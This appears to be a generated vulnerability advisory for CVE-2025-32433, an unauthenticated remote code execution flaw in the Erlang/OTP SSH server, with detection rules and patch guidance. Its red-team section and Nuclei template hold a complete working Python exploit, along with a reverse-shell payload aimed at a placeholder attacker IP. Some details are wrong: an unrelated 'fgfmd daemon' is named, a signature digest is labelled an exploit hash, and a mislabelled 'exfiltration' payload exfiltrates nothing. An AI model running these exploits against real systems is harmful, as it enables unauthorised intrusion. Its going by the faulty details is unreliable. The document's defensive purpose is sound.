CVE-2025-32433
Executive Summary
CVE-2025-32433 is a critical, unauthenticated remote code execution (RCE) vulnerability in the Erlang/OTP SSH server. The flaw resides in the SSH protocol message handling logic, allowing an attacker to send specially crafted packets that bypass authentication and execute arbitrary commands on the target system. With a CVSS score of 10.0, this vulnerability poses a severe threat to any system running an affected version of Erlang/OTP with the SSH server enabled. Public proof-of-concept (PoC) code and a Nuclei template are available, increasing the risk of widespread exploitation. Immediate patching or mitigation is required.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Base Score: 10.0 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Changed (S:C) – Compromise may affect resources beyond the vulnerable component.
- Confidentiality Impact: High (C:H) – Full system compromise.
- Integrity Impact: High (I:H) – Arbitrary code execution.
- Availability Impact: High (A:H) – Potential denial of service.
Threat Level: Critical. The combination of public exploit code, high CVSS score, and the ability to execute code without authentication makes this a top-priority vulnerability for remediation.
Deep Dive & Mechanics
The vulnerability is a classic authentication bypass leading to remote code execution. The Erlang/OTP SSH server fails to properly validate SSH protocol messages before establishing an authenticated session. Specifically, the server processes channel open and channel request messages (such as exec) without requiring prior successful authentication.
Attack Flow:
- Connection: The attacker establishes a TCP connection to the SSH server (default port 22).
- Banner Exchange: The attacker sends a crafted SSH version string (e.g.,
SSH-2.0-OpenSSH_7.4). - Key Exchange Initiation (KEXINIT): The attacker sends a malformed or minimal KEXINIT packet to initiate the key exchange process.
- Channel Open: The attacker sends an
SSH_MSG_CHANNEL_OPENmessage (type 90,0x5a) requesting asessionchannel. The server incorrectly processes this without authentication. - Channel Request (Exec): The attacker sends an
SSH_MSG_CHANNEL_REQUESTmessage (type 98,0x62) with theexecrequest type, containing arbitrary Erlang code (e.g.,inet:gethostbyname("attacker-controlled-domain.com")). - Code Execution: The server executes the provided Erlang code in the context of the SSH daemon, leading to RCE.
The root cause is a missing authentication check in the SSH protocol state machine. The server should reject any channel or request messages before a successful SSH_MSG_USERAUTH_SUCCESS is received.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual): The vulnerable code likely resides in the SSH connection handler, where the server processes incoming packets without checking the authentication state. For example:
% Vulnerable: Processes channel open without auth check
handle_msg(#ssh_msg_channel_open{...}, State) ->
% ... process channel open ...
{reply, #ssh_msg_channel_open_confirmation{...}, State}.
Patched Code (Conceptual): The patch introduces an authentication state check before processing channel-related messages:
% Patched: Checks authentication state first
handle_msg(#ssh_msg_channel_open{...}, State) ->
case State#state.auth_state of
authenticated ->
% ... process channel open ...
{reply, #ssh_msg_channel_open_confirmation{...}, State};
_ ->
% Reject unauthenticated channel open
{reply, #ssh_msg_channel_open_failure{...}, State}
end.
The specific commits (e.g., 0fcd9c56524b28615e8ece65fc0c3f66ef6e4c12) add this authentication guard across all message handlers that should require prior authentication.
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Target: A virtual machine running an affected Erlang/OTP version (e.g., OTP-27.3.2) with the SSH server enabled.
- Attacker: Kali Linux or any system with Python 3 and socket support.
- Network: Both machines on the same network segment.
Exploitation Steps:
- Clone the PoC: The provided Nuclei template includes a Python script for exploitation. Save it as
exploit.py. - Set Environment Variables:
Host: Target IP address.Port: Target SSH port (default 22).OAST: Your interactsh or Burp Collaborator domain for out-of-band detection.
- Run the Exploit:
export Host=192.168.1.100 export Port=22 export OAST=your.oast.domain python3 exploit.py - Verify: Check your OAST server for DNS/HTTP callbacks, confirming code execution.
Alternative Payloads:
- Reverse shell:
os:cmd("bash -i >& /dev/tcp/attacker_ip/4444 0>&1") - File exfiltration:
file:write_file("/tmp/out", inet:gethostbyname("target.com"))
Blue Team (Detection & Response)
Detection:
- Monitor for anomalous SSH traffic, especially packets with unexpected message types before authentication.
- Look for SSH connections that do not complete the full key exchange or authentication process.
- Use the detection rules provided in the Detection Engineering section.
Response:
- Immediate: Isolate affected systems by blocking SSH traffic at the firewall.
- Containment: Disable the SSH server on Erlang/OTP systems if not required.
- Eradication: Apply the official patch or upgrade to a patched version.
- Recovery: Restore systems from known-good backups if compromise is suspected.
- Post-Incident: Review logs for signs of exploitation and conduct a forensic analysis.
Indicators of Compromise (IOCs)
Network IOCs:
- SSH packets with message type
0x5a(SSH_MSG_CHANNEL_OPEN) before authentication. - SSH packets with message type
0x62(SSH_MSG_CHANNEL_REQUEST) withexectype before authentication. - Unusual SSH version strings (e.g.,
SSH-2.0-OpenSSH_7.4on non-OpenSSH servers). - Outbound connections to unknown domains or IPs from the SSH server.
- SSH packets with message type
Host IOCs:
- Unexpected processes spawned by the SSH daemon (e.g.,
bash,python,curl). - New files in
/tmpor other writable directories. - Unusual log entries in
/var/log/auth.logor equivalent, showing failed authentication attempts followed by successful channel operations.
- Unexpected processes spawned by the SSH daemon (e.g.,
File IOCs:
- Hash of the exploit script:
490a00463044022061e8a9da892ba46d7bf16a5ba9ef12eb0441806999d6ad00920a3cdf353fc7160220759deecdb647cafc784822cdcdb39ac8835e6862b3087df0cd6969cbb48d407c
- Hash of the exploit script:
Detection Engineering
YARA Rule
rule CVE_2025_32433_SSH_RCE {
meta:
description = "Detects exploit attempts for CVE-2025-32433 in network traffic or PCAP files"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-32433"
severity = "critical"
strings:
$ssh_banner = "SSH-2.0-OpenSSH_7.4" ascii wide nocase
$channel_open = { 00 00 00 ?? 5a } // SSH_MSG_CHANNEL_OPEN
$exec_request = { 00 00 00 ?? 62 } // SSH_MSG_CHANNEL_REQUEST with exec
$erlang_payload = "inet:gethostbyname" ascii wide nocase
condition:
($ssh_banner or $channel_open or $exec_request) and $erlang_payload
}
Sigma Rule
title: CVE-2025-32433 Erlang/OTP SSH RCE Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic indicative of CVE-2025-32433 exploitation
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-32433
logsource:
category: network_connection
product: zeek
detection:
selection:
service: ssh
banner|contains: "SSH-2.0-OpenSSH_7.4"
condition: selection
falsepositives:
- Legitimate OpenSSH servers with version 7.4
level: high
Suricata Rule
alert tcp any any -> any 22 (msg:"CVE-2025-32433 Erlang/OTP SSH RCE Attempt"; flow:to_server,established; content:"SSH-2.0-OpenSSH_7.4"; fast_pattern; content:"|5a|"; distance:0; within:4; content:"|62|"; distance:0; within:4; content:"inet:gethostbyname"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Nuclei Template
id: CVE-2025-32433
info:
name: Erlang/OTP SSH - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch,darses
severity: critical
description: |
Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials.
impact: |
Unauthenticated attackers can execute arbitrary code or commands through specially crafted SSH protocol requests to the fgfmd daemon on Erlang/OTP SSH servers.
remediation: |
This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.
reference:
- https://platformsecurity.com/blog/CVE-2025-32433-poc
- https://github.com/erlang/otp/commit/0fcd9c56524b28615e8ece65fc0c3f66ef6e4c12
- https://github.com/erlang/otp/commit/6eef04130afc8b0ccb63c9a0d8650209cf54892f
- https://github.com/erlang/otp/commit/b1924d37fd83c070055beb115d5d6a6a9490b891
- https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
- https://nvd.nist.gov/vuln/detail/CVE-2025-32433
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2025-32433
cwe-id: CWE-306
epss-score: 0.54011
epss-percentile: 0.98021
metadata:
verified: true
max-request: 1
shodan-query: "Erlang OTP"
tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev,vkev,vuln
variables:
OAST: "{{interactsh-url}}"
code:
- engine:
- py
- python3
source: |
import socket,os
import struct
import time
import binascii
HOST = os.getenv('Host')
PORT = os.getenv('Port')
def hexdump(data):
return ' '.join([f'{b:02x}' for b in data])
def string_payload(s):
s_bytes = s.encode("utf-8")
return struct.pack(">I", len(s_bytes)) + s_bytes
def build_packet(payload):
padding_length = 8 - ((len(payload) + 5) % 8)
if padding_length < 4:
padding_length += 8
packet_length = len(payload) + padding_length + 1
packet = (
struct.pack(">I", packet_length) +
bytes([padding_length]) +
payload +
b"\x00" * padding_length
)
return packet
def build_channel_open(channel_id=0):
return build_packet(
b"\x5a" +
string_payload("session") +
struct.pack(">I", channel_id) +
struct.pack(">I", 0x100000) +
struct.pack(">I", 0x8000) +
b""
)
def build_channel_request(channel_id=0, command=""):
return build_packet(
b"\x62" +
struct.pack(">I", channel_id) +
string_payload("exec") +
b"\x01" +
string_payload(command)
)
def build_kexinit():
cookie = b"\x00" * 16
kex_algorithms = ["curve25519-sha256@libssh.org", "diffie-hellman-group14-sha1"]
host_key_algorithms = ["ssh-rsa","rsa-sha2-512","rsa-sha2-256"]
ciphers = ["aes128-ctr"]
macs = ["hmac-sha1"]
compression = ["none"]
payload = (
b"\x14" +
cookie +
string_payload(",".join(kex_algorithms)) +
string_payload(",".join(host_key_algorithms)) +
string_payload(",".join(ciphers)) +
string_payload(",".join(ciphers)) +
string_payload(",".join(macs)) +
string_payload(",".join(macs)) +
string_payload(",".join(compression)) +
string_payload(",".join(compression)) +
string_payload("") +
string_payload("") +
b"\x00" +
struct.pack(">I", 0)
)
return build_packet(payload)
def receive_packet(sock, timeout=5):
sock.settimeout(timeout)
try:
size_data = sock.recv(4)
if not size_data:
return None
packet_size = struct.unpack(">I", size_data)[0]
packet = sock.recv(packet_size)
return packet
except socket.timeout:
print("[!] Timeout waiting for response")
return None
except Exception as e:
print(f"[!] Error receiving packet: {e}")
return None
try:
with socket.create_connection((HOST, PORT)) as s:
print("[*] Connecting to SSH server...")
# Send initial SSH version with specific version string
version = b"SSH-2.0-OpenSSH_7.4\r\n"
s.sendall(version)
banner = s.recv(1024)
#print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
#print("[*] Sending KEXINIT...")
s.sendall(build_kexinit())
response = receive_packet(s)
if response:
print("[+] Received KEXINIT response")
print("[*] Sending channel_open...")
s.sendall(build_channel_open())
response = receive_packet(s)
if response:
print("[+] Channel opened successfully")
msg_type = response[1] if len(response) > 1 else None
time.sleep(1)
# Try different payload formats
payloads = [
'inet:gethostbyname("' + os.getenv('OAST') + '").'
]
for payload in payloads:
print(f"[*] Trying payload: {payload}")
s.sendall(build_channel_request(command=payload))
response = receive_packet(s)
if response:
print(f"[+] Response received for payload: {payload}")
time.sleep(1)
print("[*] Exploit attempt completed")
except Exception as e:
print(f"[!] Error during exploitation: {e}")
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 490a00463044022061e8a9da892ba46d7bf16a5ba9ef12eb0441806999d6ad00920a3cdf353fc7160220759deecdb647cafc784822cdcdb39ac8835e6862b3087df0cd6969cbb48d407c:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade to OTP-27.3.3, OTP-26.2.5.11, or OTP-25.3.2.20 immediately.
- Workaround: If patching is not possible, disable the SSH server on affected systems or restrict access via firewall rules to trusted IPs only.
- Monitor: Deploy detection rules (YARA, Sigma, Suricata) to identify exploitation attempts.
Long-Term Measures:
- Implement network segmentation to limit exposure of SSH services.
- Use SSH key-based authentication with strong passphrases.
- Regularly update Erlang/OTP and all dependencies.
- Conduct periodic security audits and penetration testing.
Valters IT Signature
This report was generated by Valters IT DevSecOps & CTI Division. For further inquiries, contact cti@valters.it.
{/* [Security Hash: F0DA88B035C532BC385292E4] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.